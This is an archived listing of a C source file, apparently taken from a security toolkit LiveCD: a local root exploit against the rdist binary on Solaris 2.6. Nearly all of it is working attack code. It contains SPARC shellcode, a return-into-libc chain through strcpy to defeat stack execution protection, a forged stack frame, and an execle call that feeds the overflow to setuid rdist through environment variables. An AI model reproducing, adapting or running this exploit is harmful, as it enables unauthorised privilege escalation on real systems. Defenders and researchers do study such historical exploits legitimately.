home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / rdistex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  166 lines

  1. /*
  2.    rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
  3.  
  4.    This demonstrates the return into libc technique for bypassing stack
  5.    execution protection. This requires some preliminary knowledge for use.
  6.  
  7.    to compile:
  8.  
  9.    gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <sys/types.h>
  15. #include <sys/systeminfo.h>
  16. #include <unistd.h>
  17. #include <dlfcn.h>
  18.  
  19. u_char sparc_shellcode[] =
  20.   "\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
  21.   "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
  22.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  23.   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  24.   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  25.   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  26.   "\x91\xd0\x20\x08\xAA";
  27.  
  28. #define BUF_LENGTH 1024
  29.  
  30. int main(int argc, char *argv[])
  31. {
  32.   char buf[BUF_LENGTH * 2];
  33.   char tempbuf[BUF_LENGTH * 2];
  34.   char teststring[BUF_LENGTH * 2];
  35.   char padding[128];
  36.   char *env[10];
  37.   char fakeframe[512];
  38.   char platform[256];
  39.  
  40.   void *handle;
  41.   long strcpy_addr;
  42.   long dest_addr;
  43.  
  44.   u_char *char_p;
  45.   u_long *long_p;
  46.   int i;
  47.   int pad=25;
  48.  
  49.   if (argc==2) pad+=atoi(argv[1]);
  50.  
  51.   char_p=buf;
  52.  
  53.   if (!(handle=dlopen(NULL,RTLD_LAZY)))
  54.     {
  55.       fprintf(stderr,"Can't dlopen myself.\n");
  56.       exit(1);
  57.     }
  58.  
  59.   if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
  60.     {
  61.       fprintf(stderr,"Can't find strcpy().\n");
  62.       exit(1);
  63.     }
  64.  
  65.   strcpy_addr-=4;
  66.  
  67.   if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
  68.       !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
  69.     {
  70.       fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
  71.       exit(1);
  72.     }
  73.  
  74.   printf("found strcpy() at %lx\n",strcpy_addr);
  75.  
  76.   if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
  77.     {
  78.       fprintf(stderr,"Can't find accept().\n");
  79.       exit(1);
  80.     }
  81.  
  82.   dest_addr=dest_addr & 0xCCCCCC00;
  83.   dest_addr+=0x1800c;
  84.  
  85.   if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
  86.       !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
  87.     {
  88.       fprintf(stderr,"the destination address contains a '0'. sorry.\n");
  89.       exit(1);
  90.     }
  91.  
  92.   printf("found shellcode destination at %lx\n",dest_addr);
  93.  
  94.   /* hi sygma! */
  95.  
  96.   memset(char_p,'A',BUF_LENGTH);
  97.  
  98.   long_p=(unsigned long *) (char_p+1024);
  99.  
  100.   /* We don't care about the %l registers */
  101.  
  102.   *long_p++=0xdeadbeef;
  103.   *long_p++=0xdeadbeef;
  104.   *long_p++=0xdeadbeef;
  105.   *long_p++=0xdeadbeef;
  106.   *long_p++=0xdeadbeef;
  107.   *long_p++=0xdeadbeef;
  108.   *long_p++=0xdeadbeef;
  109.   *long_p++=0xdeadbeef;
  110.  
  111.   /* Here is the saved %i0-%i7 */
  112.  
  113.   *long_p++=0xdeadbeef;
  114.   *long_p++=0xefffd378; // safe value for dereferencing
  115.   *long_p++=0xefffd378; // safe value for dereferencing
  116.   *long_p++=0xdeadbeef;
  117.   *long_p++=0xdeadbeef;
  118.   *long_p++=0xdeadbeef;
  119.   *long_p++=0xeffffb78; // This is where our fake frame lives
  120.   *long_p++=strcpy_addr; // We return into strcpy
  121.   *long_p++=0;
  122.  
  123.   long_p=(long *)fakeframe;
  124.   *long_p++=0xAAAAAAAA; // garbage
  125.   *long_p++=0xdeadbeef; // %l0
  126.   *long_p++=0xdeadbeef; // %l1
  127.   *long_p++=0xdeadbeaf; // %l2
  128.   *long_p++=0xdeadbeef; // %l3
  129.   *long_p++=0xdeadbeaf; // %l4
  130.   *long_p++=0xdeadbeef; // %l5
  131.   *long_p++=0xdeadbeaf; // %l6
  132.   *long_p++=0xdeadbeef; // %l7
  133.   *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
  134.   *long_p++=0xeffffb18; // %i1 - our source
  135.   *long_p++=0xdeadbeef;
  136.   *long_p++=0xdeadbeef;
  137.   *long_p++=0xdeadbeef;
  138.   *long_p++=0xdeadbeef;
  139.   *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
  140.   *long_p++=dest_addr-8; // %i7 - return into our shellcode
  141.   *long_p++=0;
  142.  
  143.   sprintf(tempbuf,"blh=%s",buf);
  144.  
  145.   /* This gives us some padding to play with */
  146.  
  147.   memset(teststring,'B',BUF_LENGTH);
  148.   teststring[BUF_LENGTH]=0;
  149.  
  150.   sysinfo(SI_PLATFORM,platform,256);
  151.  
  152.   pad+=21-strlen(platform);
  153.   for (i=0;i<pad;padding[i++]='A')
  154.     padding[i]=0;
  155.  
  156.   env[0]=sparc_shellcode;
  157.   env[1]=&(fakeframe[2]);
  158.   env[2]=teststring;
  159.   env[3]=padding;
  160.   env[4]=NULL;
  161.  
  162.   execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
  163.          (char *)0,env);
  164.   perror("execl failed");
  165. }
  166. /*                    www.hack.co.za              [2000]*/